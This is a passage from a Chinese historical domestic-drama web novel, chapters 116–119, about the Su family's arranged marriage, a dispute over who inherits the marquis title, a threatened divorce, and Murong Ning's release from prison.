洪婆子愣了一下才反应过来,赶紧进里间拿出几两碎银子给小厮,“出了这个门,敢乱说话就割了你的舌头。” 小厮接了银子,谢了恩典,赶紧走了。 “母亲不用担心,此事又没有外人知晓,闹不出事来。”苏玫说着。 就是当初苏天佑和关氏,也是因为遇到一个多嘴的八婆,把事情传的京城皆知,关氏不得己才嫁的。 要是没人知道,关家悄悄的向苏天佑道了谢,事情也就过去了。 “是啊,只要外不晓得,就没事。”关氏说着,心却还是悬着。 苏玫又劝了关氏几句,关氏终于梳洗睡了。 关氏一觉睡到半下午,起身时依然觉得有些头疼。 小丫头们侍侯关氏更衣梳洗,洪婆子就在旁边说着,“四爷跟着大姑娘,三爷出去玩,他们俩自己玩的开心,都不管四爷,而是让不知道哪来的薛姑娘与四爷同路。” 关氏听得皱眉,却没有说话。 洪婆子这话虽然有迁怒成份,却是在理的,弟弟跟着兄姐出去玩,兄姐只顾自己玩,不管弟弟,本就是失职。 苏钰和苏邑一直在道歉,连苏天华都觉得有责任,也是因为此。 “太太,你说会不会是故意的。”洪婆子突然说着。 关氏愣了一下,“什么故意的?” 洪婆子道:“下午我特意出门去打听,那个薛姑娘只是薛驸马的侄女,被收养在公主府。与谢大人说是定了亲,但公主府上下都知道,是拿她当幌子,谢大人不可能娶她。” “但婚事己定,就不能再另寻亲事,这姑娘的花期就这么几年,要是拖大了,一个孤女,谁还管她死活。” 关氏听得心中一惊,错愕的看着洪婆子。 洪婆子继续说着,“我向公主府的下人打听了,是薛姑娘执意与薛大人同行,薛大人才带上他的。” “女儿家的心思很好猜,不过外乎是想寻门好亲事。成了公主府的弃子,把目标放到外面也正常。” “我们四爷生的那般好看,能文能武,家世门第更不用说了。要是两人独处半夜的消息传出去,为了名声,这四爷的婚事……” “够了。”关氏打断洪婆子的话,语气中透着烦燥。 她最担心的就是这个,洪婆子却还说个不停。 “让婆子们长点心,小心侍侯,别出了岔子。”关氏说着。 要不是大夫交代了不好移动,她一定不会让苏越住在外书房。 年轻男子,尤其是苏越这种刚成年的,最是经不起女子引逗。 薛雨梓怎么想的她管不了,但她管得了苏越。只要盯死了不给她机会,薛雨梓想什么都没有用。 “太太,关家送来贴子,关太太和灵灵姑娘明天来探望四爷。”婆子进门说着。 关氏高兴起来,“好,让管事写个回贴,亲自送过去。” “是。”婆子应着去了。 关氏想到关灵灵要来,心情舒畅了许多,唤来管事媳妇吩咐一通,要好好招待未来亲家母和儿媳妇。 “老太太那里还是得去的。”关氏有几分自言自语说着。 谷夫人不喜欢关灵灵,却也没有强行干涉。长辈就是长辈,该拜见还是要拜见。 及至次日,关氏早早起床,早饭之后,关太太带着关灵灵来了。 关氏和苏玫到二门去迎,虽然苏越就在前书房,离二门很近,却没先去看苏越。 客人进府先拜见长辈,先去拜见谷夫人,来的是女眷,不用拜见苏震岳。 “给老太太请安。”关灵灵上前请安。 谷夫人笑着,对关太太说着,“是个齐整姑娘。” 十八无丑女,关氏精挑细选的儿媳妇,样貌肯定是不错的。 举手投足之间也带着贵女该有的气质,挑不错来,标准的世家贵女。 关灵灵没什么不好,与苏越也般配,要是不姓关,这门亲事也做得。 刘顺家的把见面礼送上,荷包装好,一对宝石簪子,一对绞金镯子。 “谢老太太。”关灵灵接过来,礼貌说着。 关太太笑着道:“早就该来拜见老太太,这时候才来,是我们失礼了。” 一品诰命,夫死随子,不管关氏对谷夫人有什么看法。总是长辈,苏越的亲祖母。 苏越与关灵灵定亲这么久,她是第一次带着关灵灵来拜见谷夫人,是有些失礼了。 “亲家太太,太客气了。”谷夫人笑着说,语气越发的客气。 闲聊几句,因为实在没什么话题,关氏便借口告辞,要去看苏越。 “你们去看越哥儿,正好把这些带上。”谷夫人说着。 刘顺家的把东西拿出来,都是对腿伤好用处的滋补品,是谷夫人花重金买的。 关氏上前接了过来,笑着道:“谢老太太。” 从乐道堂出来,关氏带着关太太和关灵灵坐车到了前书房。 苏越昨天就知道了,虽然心里并不情愿,依然早早起床,吃了早饭后就更衣收拾妥当,等待关太太和关灵灵的到来。 “太太来了……” 门口婆子传话进来,关氏领着关太太和关灵灵进门。 苏越人在床上坐着,连忙见礼,“不能起身给太太请安,还望恕罪。” 关太太笑着道:“快别动弹,伤到了腿,要多休养才是。” “谢太太体恤。”苏越说着。 “好好的,怎么就伤到腿了。”关太太这才问着。 对苏越这个女婿,她是相当满意。 生的好看,懂事听话,性格也温和,比那些纨绔子弟不知道好多少倍。 就是书读的不好也不要紧,祖父有爵位,早晚都是他的,前途不用担心。 京城贵族子弟多,像这样四角俱全的也不好找。 昨天苏家的婆子来报信,说苏越伤到了腿,她担忧得不得了。 要是伤得重了,万一将来留下病根,瘸了一条腿,这门亲事就做不得了。 送走苏家的婆子,她就是赶紧让管事写拜贴,要来亲自看看情况。 “跟着大姑娘和三爷去东郊打猎,护院失职没看顾好越哥儿,从马上摔下来。”关氏笑着说,“没什么大碍,伤筋动骨一百天,得躺一阵。”关太太听得放下心来,笑着道:“没事就好,灵灵昨天知道后,担心的不得了,今天亲眼看到,也放心了。” “母亲。”关灵灵有几分害羞,轻轻拉了拉关太太的衣袖。 关太太笑着,“这是害羞了。” 关氏也十分高兴,对关太太说着,“不如让他们俩坐着说会话,我们到我屋里坐会。” 正好也谈谈亲事,定亲的时候就说过,今年就要成亲,现在苏越摔了腿,肯定要等伤好,但其他的事宜可以先商量了。 “对,让他们说话。”关太太笑着说。 第117章 第 117 章 关氏和关太太走了…… 关氏和关太太走了, 连带着丫头婆子都带走了,屋里只剩下苏越和关灵灵。 苏越知道两人定了亲,关太太带着关灵灵来看他。做为男方,此时应该主动一点, 但他真的不知道要说什么。 以苏家的整体颜值, 关灵灵的长相只能说一般, 全家都是大美人的情况下, 对一般美女都不太感冒。 更重要的是,关灵灵太贤良淑德, 完全不知道跟她说什么。 苏越不知道说什么,关灵灵更不知道说什么。 在她所受的教育中,苏越是父母给她挑选的夫婿,各种条件都很好。 因为定了亲,苏越伤了腿她来探望, 就两人这么共处一室是可以的。但要说什么,该由苏越开口。 两人就这么呆坐了一会,终于苏越开口, “多谢你今天来看我。” 关灵灵道:“应该的, 伤口还疼吗, 大夫怎么说的?” “还有些疼,大夫只说好好休息就没事了。”苏越说着。 “伤筋动骨一百天, 是需要好好静养。”关灵灵说着, “以后再出门时,多带些人手,让他们仔细些。” “嗯。”苏越随口应着。 话说到这里,关灵灵没接话,苏越也没再说, 两个人就这么坐着。 眼看着就要尴尬了,外头传来婆子的声音,“四爷,您该换药了。” 苏越长舒口气,总算没那么尴尬了,却是看向关灵灵。 “我去寻母亲。”关灵灵马上说着。 敷药不同于吃药,敷药是要脱衣服露肌肤的,她再这里着实不方便。 “好。”苏越说着,又扬声对外头的婆子说着,“送关姑娘到玉粹堂。” “是。” 关灵灵起身去了,婆子这才进门上药。 断了腿,那么重的伤,嘴上总是说不疼,怎么可能真不疼。 幸好御医自制的药膏效果很好,至少止痛效果不错,每次换完药总会好些。 关太太和关灵灵呆了半日,午饭前回去的。 苏越不能动弹,饭食一律端到前书房吃,刚吃完丫头收拾了,苏玫来了。 “今天感觉怎么样?”苏玫问着,在旁边榻上坐下来。 “也不是神药,能怎么样,还不是疼。”苏越有力无力说着。 苏玫道:“上午关太太过来,与母亲在商量婚期,这门亲事,你到底怎么想的?” “商量婚期?”苏越想到上午与关灵灵相处,就觉得十分窒息。 他答应了关氏,听从她的安排娶关灵灵,他也想当个孝子。 但是,就这么跟关灵灵过一辈子吗? 他真的不愿意。 苏玫看出苏越的不愿意,叹口气说,“你要是实在不愿意,不如跟母亲说清楚。早点把婚事退掉,不要耽搁人家姑娘的花期。” 做为一个婚姻失败者,又有苏家其他人的案例在前,她是深有感悟。 与贺英的婚事是她自己找的,全是自己作死,她不怨任何人。 但苏越的婚事是关氏安排的,她也劝过关氏,关氏听了又好像没听。 都开始与关太太商量婚期了,再这么下去,总不能等娶亲当天再闹吧。 “我跟母亲说过的,母亲让我听话,让我孝顺。”苏越苦闷极了,“我不想违逆母亲。” 从小到大,苏天佑没怎么管过他,关氏的痛苦他看在眼里,他真的很想当个孝顺儿子。 在最初关氏跟他说亲事时,他不愿意也同意了。 但是想到刚才与关灵灵见面的情景,他又觉得,这么一辈子,活着又有什么意思。 “虽然这话大逆不道,我还是觉得,你要是实在不愿意,不如把话说明白了。”苏玫说着,“实在不行,可以求求祖父和父亲,看看怎么收场。” 这也是家底够厚的体现,儿女惹出麻烦来,当家长的总能兜住。 而且长痛不如短痛,眼前是不孝顺了,但要是不能孝顺一辈子,还不如早点忤逆,后果更小,母子关系也更容易修复。 苏越低头沉思,“让我想想。” 苏玫看着苏越思索的模样,不禁叹口气。 关氏时常夸苏越听话懂事,但在她看来,太过于听话懂事,也就是没主见。 关氏对苏越真是管太多,也管的太严。 “还有一件事,你跟薛雨梓……”苏玫想了想还是决定问出来。 苏越连连摆手,“真的就是一起打猎,什么事情都没有发生。” 不过,要是结婚对象是薛雨梓,他可能不会如此痛苦。 虽然只有半天的接触,但薛雨梓给他的感觉十分鲜活。虽然不像程采蓝那样活泼,也没有绝世的容颜。 关键是两个人有话说,薛雨梓说话行事,得体之中又透着几分俏皮。 不管他说什么,薛雨梓都能接的上。 尤其是他被陷阱所伤,伤到腿骨动弹不得,又没有救援时。 他当时都要绝望了,是薛雨梓给他包扎伤口,带着他走出困境。 这份恩情,他永远都记得。 “没事就好。”苏玫说着。 不管真假薛雨梓都是谢无衣的未婚妻。 薛迟,苏钰,谢无衣的大三角刚刚扯清,要是再闹出来,苏越与薛雨梓的八卦,都不敢外头人会怎么说。 己经够乱了,不要再添乱了。 “让姐姐操心了。”苏越说着。 “我就你这么一个弟弟,当然要操心的。”苏玫说着,“你歇着吧,我去看看母亲。” 也是想跟关氏再说说苏越的婚事,就像苏越的反应,要是强压着他娶了关灵灵,只怕是祸不是福。 *** 关氏招呼了关太太与关灵灵半日,觉得有些乏了,午饭后,正想睡个午睡。 就婆子进门传话,“三太太,老太爷请您过去说话。” 关氏好奇问,“老太爷可有说什么事?” “奴婢不知。”婆子说着,“老太爷还传唤三老爷。” 关氏不敢耽搁,赶紧换了衣服坐车去了知樱堂。 把俩人同时叫去,只怕是三房的大事。 关氏到了知樱堂正房,苏天佑也是刚到。 “老太爷。”关氏上前见礼。 苏震岳挥挥手,示意关氏坐下。 “叫你们俩过来,是有件事要说。”苏震岳说着,神情严肃。 苏天佑道:“请父亲示下。” “我年龄大了,圣上再有征召,我只怕难当大任。”苏震岳说着,“趁着现在天下太平,想着把爵位传承的大事办了。” 关氏明白,苏震岳这是想退休了。 以苏震岳的年龄,再出征确实辛苦,想退休回家安养天年也是人之常情。 虽然是大事,却没什么好说的,苏天佑是独子,必然是他承爵。 “我思来想去,决定把靖武侯的爵位传给老二。”苏震岳扔下重磅炸弹。 苏天佑和关氏皆是一愣。 尤其是关氏,她甚至怀疑自己耳朵出了毛病,下意识说着,“侯府的爵位传给二老爷?” 儿子孙子都有,却把爵位给侄子? 苏天佑惊讶过后,神情平淡的点点头,“二哥跟着您常年征战在外,爵位是该给他。” 靖武侯是实权武职,他是科举出身的文官,前程仕途也全在文职上,并不适合承武侯的爵位。 倒是苏天华,成年之后就跟着苏震岳,他来承武侯的爵位,最合适不过。 关氏不可思议的看着苏天佑,又看向苏震岳。 他们是在说真的吗? 把爵位传给苏天华,而不是苏天佑。 她并不在意苏天佑袭不袭爵,但要是苏天佑不承爵,苏越怎么承爵。 “老太爷,为何做如此决定?”关氏强压心头的气愤,轻声细语问着。 苏震岳道:“边关战事不断,靖武侯是要出征的,天佑是文官,领不了兵。越哥儿你也喊去读书,将来也要走文官的路子,一样领不了兵。无法领兵,就承不了爵。” 大周武将的地位相比前朝那是相当高,主要原因是四周强敌环伺。 不启用能打的武将,有亡国的风险。 这也造成了大周的武爵,两极分化严重。 一种是宁阳侯府那种,纯粹吃祖产的,跟平民比是官家,但跟实权派武职比,啥都不是。 同样的实权武职要领兵上战场,凭战绩说话。 要是苏越像苏邑那样,他还可以好好培养,再熬上几年,越过苏天佑直接把爵位给苏越。 但关氏不愿意,早早给他定了亲,送到关家去读书,根本就不让他习武。 儿子孙子都领不了兵,当不了武将,就没办法承爵。 靖武侯这个爵位是他出生入死打下来的,并没有打算留给儿孙养老。 一代之后名存实亡,想想就抠气。 “京城里领不了兵的侯爷那么多。”关氏说着,“靖武侯可世袭五代,难道还要代代都要领兵吗。三老爷是您儿子,越哥儿是您孙子,儿孙皆在膝下,您却把爵位给了侄子,外人会怎么说三老爷,怎么说越哥儿。不孝的骂名,就要扣下来了。” 苏天佑奇怪的看着关氏,对她的说词甚是不解,“这有什么好骂的。” 苏震岳当年抛妻弃子,京城皆知他们父子不和,孝不孝的,还不就是那么回事。 只要苏震岳不去衙门告他不孝,有人想说闲话,随便他们说,苏家天天被议论都习惯了。 苏震岳听出关氏的意思,苏天佑袭不袭爵不重要,重点是关氏想让苏越袭爵。 “你既然想让越哥儿袭爵,为什么又把他送到关家去读书。你不让他习武,又想让他袭爵,你这心也太大了。” 苏越要是有苏天翊的天份,能文能武,既是状元又是国公,他会把爵位传给苏越。 但苏越天份挺一般的,要是专心一样,十年二十年下来也许会有成就。要是两样兼顾,那肯定文不成武不就。 “读书与袭爵本就不冲突。”关氏说着,语气显得有些急燥。 她问过先生,苏越读书就那样,以他现在的成绩,想中进士都很难。 苏家人的读书天份挺高的,苏越没有遗传到虽然可惜,但考进士本就很难,考不上也没什么。 只要承了爵位,顶着侯爷的名头,可保一辈子衣食无忧。 这是她为苏越安排的,最好也是最稳妥的路子。 “他不习武,不领兵就没法袭爵。”苏震岳说着,己有些不耐烦,直接说着,“靖武侯的爵位是我挣下来的,又不是祖传的,我想给谁就给谁。” 关氏顿时僵在当场。 “叫你们来,是通知你们,不是跟你们商量。”苏震岳说着,“现在我说完了,你们都走吧。” 直接下逐客令,苏天佑起身,“儿子告退。” 说着,转身走了。 关氏一脸失魂落魄,但身为儿媳哪里能跟公公争执,尤其是苏震岳这种公公,也只得起身离开。 丫头扶着回到玉粹堂,刚到屋里坐下来,关氏就哭了起来。 丈夫早就靠不上,她只有这一对儿女。 她为苏越规划了最好的路,没有危险没有辛苦,平安富足的过完一生。 结果现在苏震岳告诉她,侯府的爵位他不打算给苏越。 她所有的规划都落空了,不能袭爵,分家之后的苏越,只是京城最平常不过的富家公子。 考不上功名是白身,就是能捐官,捐的官也只名声好听而己。 “太太,您这是怎么了?”洪婆子进屋,看到关氏独自抽泣,连忙上前来问。 关氏心中难受至极,边哭边说,把苏震岳的话说了。 苏震岳做事向来雷厉风行,先通知她与苏天佑,很快就开始行动,马上全府皆知。 “老太爷怎么能如此。”洪婆子一听也急了,“要是越哥儿不能袭爵,再考不上功名,婚事只怕都要告吹。” 当初关灵灵的父母会同意婚事,也是考虑到将来苏越能袭爵。 文不成武不就不要紧,只要有爵位,女儿是现成的侯府夫人,这是很大的加分项。 提到苏越的婚事,关氏越发觉得难受,哭泣说着,“老太爷做的决定,谁都没有办法。” 洪婆子着急之余,突然道:“靖武侯的爵位给了二房,那大房英国公的爵位岂不是该给越哥儿。” 大房和二房是亲兄弟,二房得了叔叔的爵位,那就该还一个爵位给三房。 一句话提醒了关氏,她止了眼泪,心中盘算着。 大房只有一个女儿苏钰,苏天翊离京多年,要是外面生了孩子,早就抱回来了。 女儿不能袭爵,大房的爵位如何传承,还没定下来。 从血缘上考虑,过继嗣子的第一人选是苏邑。 但因叶峰己出继叶家,苏邑成了独子,现在苏天华又得了靖武侯的爵位,苏邑出继大房的可能性很小。 大房的爵位后继无人,苏越做为侄子,本就可以过继大房承爵。 虽然把苏越过继非她所愿,但亲手抚养大的孩子,总是跟她亲的。只是名份上有别,为了儿子的前途,可以接受。 如此盘算着,当天晚上关氏去了养云轩。 苏天佑正在看书,对于苏震岳的决定丝毫不在意。 他自幼得苏震山抚养成人,苏震山过世前分过家,家产一分为三,除了大房独有的祭田外,他和苏天华得到的一样多。 这是完全拿他是亲生儿子看待。 在苏天佑眼里,苏天翊和苏天华就是他亲兄弟,现在他亲爹要把爵位给他的亲兄弟,他没意见。 再者,就像苏震岳说的,爵位是他挣下来的,他爱给谁给谁。 “太太来了……”门口婆子传话。 苏天佑放下书,看到进门的关氏,“有什么事?” 从来都是有事说事的态度,关氏习惯他的冷漠,径自坐下来,直入正题,“老太爷执意要把三房的爵位给二房,我无话可说。只是有一件事,大房的爵位一直也没个说法……” 不等关氏说完,苏天佑猜出她的想法,顿时变了脸色,“你想把越哥儿过继给大哥,袭英国公的爵位?” “越哥儿是独子,本不该出继,我也不舍得。”关氏说着,“但是为了越哥儿的前途……” “越哥儿的前途该他自己去挣,而不是总想着别人的。”苏天佑打断关氏,“英国公也是武爵,越哥儿一样袭不了。” 苏震岳提出要培养苏越,关氏不同意。早早给苏越定了亲事,还是关家女儿,还把苏越送到关家去读书。 事情都做到这份上了,关氏竟然又想让苏越袭武爵,这到底是什么样的脑回路。 都说甘蔗没有两头甜,关氏这何止是想两头甜,是想把所有能占的都占了。 就苏越与关灵灵定亲之事,苏天佑极力反对,关氏就是执意,甚至背着他下聘礼。 既然定了这门亲,那就要接受这个亲家所带来的后果。 尤其是现在,这样微妙的局势下。苏震岳就是把武靖侯的爵位给他,他也会考虑请旨立苏邑为世子,而不是苏越。 “怎么不能?”关氏顿时急了,“儿子孙子都在跟前,都能把爵位给侄子。大房无子,当侄子的为什么不能过继袭爵。” 明明是苏震岳更离谱,不管是按规矩还是律条,都没有侄子越过儿子袭爵的道理。 “因为那是他挣下来的爵位,他想给谁就给谁。”苏天佑声音不禁大了起来。 苏震岳的话是显得不尽人情,细想却有道理。 自己挣下来的家业,当然是想给谁就给谁。不服气的,就自己去挣。 “天下间就没有这样的道理。”关氏气的全身发抖,声音也跟着大了起来,口不择言说着,“苏家两个爵位,孙子辈有三个,但叶峰己经出继,爵位传承怎么都该有越哥儿的。” 苏天佑愣了一下,突然间想到了,“你疯了,想跟苏略争。” 亲的是只有三个,但还有苏略,谁敢忽略苏略的存在。 更重要的是,苏钰是大房独女,可以招赘袭爵。 这些关氏都不算的吗。 关氏脸色难看至极,“疯的是你,苏略只是养子,没有承爵的资格。” “有没有资格不是你说了算的,苏略为了大哥出生入死,他袭爵理所当然。”苏天佑说着。 苏略虽然行事乖张,对苏天翊却是忠心耿耿。 而且就苏略的手段以及行事风格,他既己表现出对国公府的爵位有兴趣,其他人想争就得掂量掂量。 “从来没有养子袭爵的。”关氏说着。 她算盘的时候没有把苏略算在内,就是觉得苏略没资格。 养子为了养父出生入死,那不是应该的吗,哪个当儿子的不对父亲尽孝。 “总之,这件事你想都别想。”苏天佑说着,“你要是实在不想过了,我们可以和离。” 第118章 第 118 章 一句和离噎住了关…… 一句和离噎住了关氏。 她怔怔看着苏天佑, 这么多年了,有很多次关氏都觉得苏天佑会提出要和离,他都没说出来。 直到今天,苏天佑终于把和离两个字说出口。 因为杨云娘守寡归京, 他终于忍不住了。 半生辛劳不知道为了谁, 悲楚后悔一起涌上心头, 关氏却没有哭出来, 只是看着苏天佑,“杨云娘守寡, 你终于可以明媒正娶她了。” 苏天佑脸色难看,“你在胡说什么,我要是有这个心思,云娘进京之前就会跟你说清楚。” 在与关氏成亲之初,他有努力过, 忘记过往种种,爱上关氏,好好过完这一生。 苏玫和苏越也是那个时候有的, 但不管怎么努力, 他就是不喜欢关氏。 幸运的是, 关氏也没多喜欢他,俩个人就这么凑和着。 早年确实各种意难平, 但年龄大了, 孩子也大了。己经没了少年时的冲动,现在只希望杨云娘母女能过的好。 抛开爱情,他是谷夫人的亲子,杨云娘是养女,本就是亲戚。 就像现在这样, 大家不同住一府。像普通亲戚一样走动,遇到了就叙叙旧说说话。 其他的,他早就不想了。 “那你为什么……”关氏不禁说着。 夫妻相敬如冰己经这么多年了,这个时候苏天佑提出和离,她能怎么想。 苏天佑道:“我与你无话可说。” 关氏虽然自诩贤良淑德,但她的性格十分执拗,她决定下来的事情,就一定要办成。 先是苏越的婚事,真顺从的正妻不会不跟丈夫商量。 现在又说到承袭爵位,公公做的决定,真孝顺的儿媳妇不会反驳,更不会想着大房的爵位。 关氏只是跟他说,关上门没人知道倒也罢了。但以关氏的性格,她既己有想法,肯定要折腾的。 若是任由关氏闹腾,苏天华怎么看三房,苏略怎么看三房。 关系融洽的一大家子,不能任由关氏搅和。 而且苏越的亲事,随着局势变动,这门亲事做不得。 “呵。”关氏一声冷笑,“你什么都不说,自然无话可说。” 苏天佑叹气,“我刚才跟你说的那么多,你能记住吗?” 就好像苏越的婚事,他明确说了不同意,关氏听了吗。 “越哥儿是你亲生儿子,能不能袭爵,关系到他的一生。”关氏说着,心中气愤不己。 苏天佑对她无话无话,她对苏天佑一样无话可说。亲爹把爵位传给堂兄却没给他,他丝毫没有反应。 当然,苏天佑走了科举的路子,仕途一片光明,袭不袭爵对他确实不重要。 但苏越呢,苏越要是考不中进士,他的前程在哪里。 苏天佑不禁揉揉眉头,话题又拐回来了,这也是他和关氏沟通中的常态。 “和离吧,放过彼此。” *** 收到慕容宁要出狱的消息,楚王爷高兴极了,多少年没干过活,此时亲自张罗。 先请了大师到家里,先看风水。 有牢狱之灾肯定是哪里的风水不好,先把不好的风水改了。再把王府里里外外打扫干净,慕容宁回来看到也能开心些。 “门口这些花全部换成杜鹃,王妃喜欢。”楚王爷己经换正装,走到二门时,看到大门口摆着的花,便招手唤来管事。 “是,马上换。”管事连声应着。 长史小声提醒,“王爷,该动身了。” 从一个时辰前,楚王爷就换好衣服打算出门,但走几步看到不妥就得改一番。 再折腾下去,只怕要误了接慕容宁的时辰。 “对,对,不能耽搁了。”楚王爷连声说着。 马车驶出皇城,一路直奔刑部大牢。 到门口时,苏钰己经在了,看到楚王爷从车上下来,上前见礼,“王爷。” 楚王爷笑着说,“一会你母亲出来,你也回王府,陪陪你母亲。” “我也有这个意思。”苏钰笑着说,“正想与王爷说。” 慕容宁经此大劫,肯定是身心俱疲,做为女儿自然该陪在母亲身边。 “好,好,一会我们一起回去。”楚王爷高兴说着。 说话间天牢大门打开,刑部尚书亲自领着慕容宁出来。 刑部尚书看到楚王爷笑着拱拱手,“王爷。” 随即又看向苏钰,客气恭敬了许多,“苏姑娘。” “大人。”苏钰回礼,目光转向慕容宁,快步走过去,“母亲。” 坐了一个月的牢,虽然没有受过刑,但牢房的环境肯定不好了。 慕容宁身形消瘦了许多,精神看着还好,看到苏钰笑了笑,“我没事。” 楚王爷却是十分心疼,“没事就好,我们回家。” 苏钰也跟着道:“嗯,回家。” 正欲离开之时,慕容宁看向刑部尚书,“多谢照顾,以后定有回报。” 刑部尚书脸都绿了,连忙说着,“慕容大人千万别会,下官也只是奉旨行事。” 本以为这回事件,慕容宁被抓后就是不死也得脱层皮,没想到只坐了一个月的牢,屁事没有就回家当王妃了。 慕容宁并不理会,径自上了楚王府的马车。 楚王爷紧跟着上车,苏钰也上了自己的马车,一起回楚王府。 车驾驶进楚王府二门,楚王爷先行下车,指挥着管事,“火盆,快把火盆摆上。” 管事早有准备,赶紧把点着的火盆端上来。 慕容宁心情本就阴郁,看着火盆一脚踢了心都有,但看着旁边一脸关切的楚王爷,心有不忍,一言不发的跨了过去。 回到栖凤楼,慕容宁梳洗更衣,一直到晚饭过后,楚王爷才传世子秦昊,陈侧妃,宜宁郡主过来拜见。 哪怕慕容宁经过一场牢狱之灾,被显庆皇帝下令在府里禁足,三人对慕容宁依然十分敬畏。 甚至因为慕容宁这一番作为,让他们更敬畏了。 秦昊又格外幸庆,慕容宁没有被更罚,更没有连累楚王府。 磕头问安,陈侧妃开口时,吓得都有些口吃了,“王妃万福,定,定能,化险,不,富贵安康。” 秦昊连忙找补,“王妃平安归来,儿子欣喜万分。特意让厨房备了酒席,为王妃接风。” 慕容宁心情不佳,只是挥挥手,“你们自己吃吧,我要休息了。” 秦昊心里大松口气,他年少得过慕容宁的教养,对其脾气多少有些了解。 慕容宁现在情绪极其不佳,可以说到厌烦透了的地步,偏偏又不能发作。 当儿子的,准备酒席是份内之事,但要是真的一起吃,他也害怕。 更不用说没来之前陈侧妃就吓破胆了,要是再侍侯慕容宁吃饭,只怕筷子都要拿不住。 陈侧妃原本就惧怕慕容宁,后来慕容宁的一系列行为,就让她更害怕了。 甚至连带着让陈侧妃对楚王爷都有点怕了,能喜欢这种女子的男人,也不太像正常人。 “打扰王妃休息,儿子告退。”秦昊说着,带着陈侧妃和宜宁郡主离开。 母子三人走了,苏钰才道:“母亲,你也累一天了,好好休息,女儿告退。” “去吧。”慕容宁说着。 等到苏钰也离开了,楚王爷这才上前,却是心疼说着,“这些日子你受苦,回了府里,就好好休息。别管外头那些事非,我们好好过日子。” 不管旁人怎么说,他与慕容宁这桩婚事,他确实是因为真心喜欢才求娶的。 婚后这些后,他也知道慕容宁并不喜欢他,那也不重要。他有自知之明,除了王爷的身份,他一无所有,慕容宁会喜欢他才奇怪。 成亲之后,慕容宁一直都很忙,各种忙碌。她有强大的野心,也有实现的能力。 而他除了是个王爷,什么都没有。 这回的风波,初时他真要吓死了,因为他没有能力,帮不上忙,只能干看着。 现在终于风波过去,慕容宁被禁足王府,他反而松了口气。 在自己家里,总比在牢里强。 都过去了,以后就好好过日子。 “世子十六了,也该议婚了。”慕容宁突然开口,“我看中一门亲事,是周家的三女,亲上加亲,正合适。” 楚王爷的前王妃是周氏女,一直没有断亲,两府之间经常来往。 现在给秦昊再娶周家女儿,正是亲上加亲,未来的王妃又是周氏。 “啊?” 楚王爷愣了一下,没想到慕容宁回府先说这件事。 秦昊是该议亲了,但眼下慕容宁刚从牢里出来,该好好休息后再说也不迟。 “让洪长史挑个合适的日子,把亲事定下来。”慕容宁继续说着。 “哦,好。”楚王爷这才反应过来,“我会叮嘱洪长史,你就好好歇着,别操烦这些。” 慕容宁看着楚王爷不知所措的脸,不禁抿了一下唇,欲言又止的模样。 要是苏钰在场定能明白,慕容宁一直拿楚王府的事务当工作。 这个时候突然给秦昊定亲,是把王府最后的工作做完。 工作做完了,她在王府的责任也就全部了了。 交代的如此急,只怕是她己有离开的心思。 “你是有话要跟我说吗?” 楚王爷被慕容宁看的手足无措,只能怔怔看着她。 这么多年都是这样,他就只能这么在旁边怔怔看着。 慕容宁叹口气,这么多年了,她也不知道跟楚王爷说什么。 “我弟弟慕容弦要进京了。” 第119章 第 119 章 做为西北少民的藩…… 做为西北少民的藩王, 慕容弦上次进京还是十五年前。 苏钰对这个舅舅完全没有印象,虽然偶尔也会在每年朝贺送岁贡时,让西北官员带礼物给她,就比如她的马“雪影”。 除此之外, 她对慕容弦完全没有印象。 “再有一个月, 你舅舅就进京了。”慕容宁对苏钰说着, 淡然的神色中带着压抑不住的欣喜。 苏钰愣了一下, 笑着说,“那真是太好了。” 怪不得这么大的案子, 就这么大事化小事了,应该是与慕容烨进京有关系。 “你还记得他吗,他抱过你。”慕容宁笑着,眼中闪过回忆,更多的却是伤感。 十五年了, 整整十五年。 犹记得当年情景,本以为真要老死不相往来,没想到还是要见面的。 时间冲淡了矛盾, 却冲不断血缘。 “记得。”苏钰笑着说, “舅舅很疼我的。” 慕容宁笑着的脸淡了下来, 声音很轻,“你长的太像你父亲了。” 小时候还看不出来, 长大之后, 苏钰与苏天翊太过于相似的长相,慕容弦不会喜欢苏钰。 苏钰有些不解,“舅舅不喜欢我像父亲吗?” 或者说,慕容弦很厌恶苏天翊? 也是,苏天翊无故休妻, 负了慕容宁,慕容弦做为弟弟,自然是看不上这个前姐夫的。 “他比我小五岁,母亲去世的早,父王忙于公务,他自小就跟着我。”慕容宁说着。 慕容氏雄霸西北之地几百年之久,投靠大周是因为前人大败,不得以为之。 跪地称臣,每年缴纳岁贡,甚至因大周天子的一句话,送质子入京都是有的。 那一年慕容宁与父亲一同上京,本该是慕容弦同路,关太后虽然没有直接言明,暗示的却很明白。 西北需要交出嫡长子为质子。 只有一子,即是嫡长子也是独子,进京之后别说前程,生死都不好说。 拒绝不能直接拒绝的,为了不让慕容弦进京,西北王使了南魏的某种手段,让慕容弦看起来重病。 大周早有准备,防着慕容氏这一手,跟随的就有御医,结果御医诊来诊去,也没看出破绽。 当时的慕容弦不过十二岁,若是拖着重病之躯强行入京,万一死在路上。 一个死了的质子,不但没用,还会惹麻烦。 西北王只有一儿一女,慕容弦不行,那就得慕容宁。 慕容宁跟着父亲出发那天,是瞒着的慕容弦的,姐弟俩连道别都没有。 再相见是苏钰四岁,慕容弦己成年,按例要入京朝贺,加封世子。 “西北被舅舅治理的很好。”苏钰说着,“舅舅对您的感情一定很深。” 这都不是听说,是人所共知的。 只是这个好,站在大周的立场是不是好,就不好说了。 一般来说,质子也是有一定时效性的。 慕容宁进京为质己有二十年,父母己经过世,与弟弟慕容弦分别二十年。 慕容弦早己娶妻生子,妻妾成群,儿女一大堆,对这个分别二十年的姐姐还有多少感情,真的不好说。 正常情况下,十年前苏天翊和离之时,慕容宁就可以回西北。 若是还需要质子,可以要求慕容弦的嫡长子入京,更换慕容宁。 质子的本质目的是以感情牵制,让对方投鼠忌器。若是感情淡了,根本就不在意对方死活了,质子意义也就不大了。 像慕容弦这种,十五年未见过的姐姐,他还能为亲上京城,感情不可谓不深。 慕容宁紧抿着唇,似乎想到了什么,让她有些窒息,几乎强行转开话题,“不说这个了,我这里也没什么事,你想回国公府就回吧。” 苏钰笑着道:“回国公府也没什么事,不如陪着母亲。” 以前慕容宁总有忙不完的事,现在终于有时间呆在家里了,她也想多陪陪慕容宁。 可能这回的经历太过于波折,她明显的能感觉到慕容宁的心绪不宁,时不时的就发呆,似乎在回想着什么。 慕容宁笑着,突然伸手把苏钰搂在怀里。 苏钰愣了一下,虽然是母女,慕容宁也很疼爱她,但像普通母女般的亲密却是极少的。 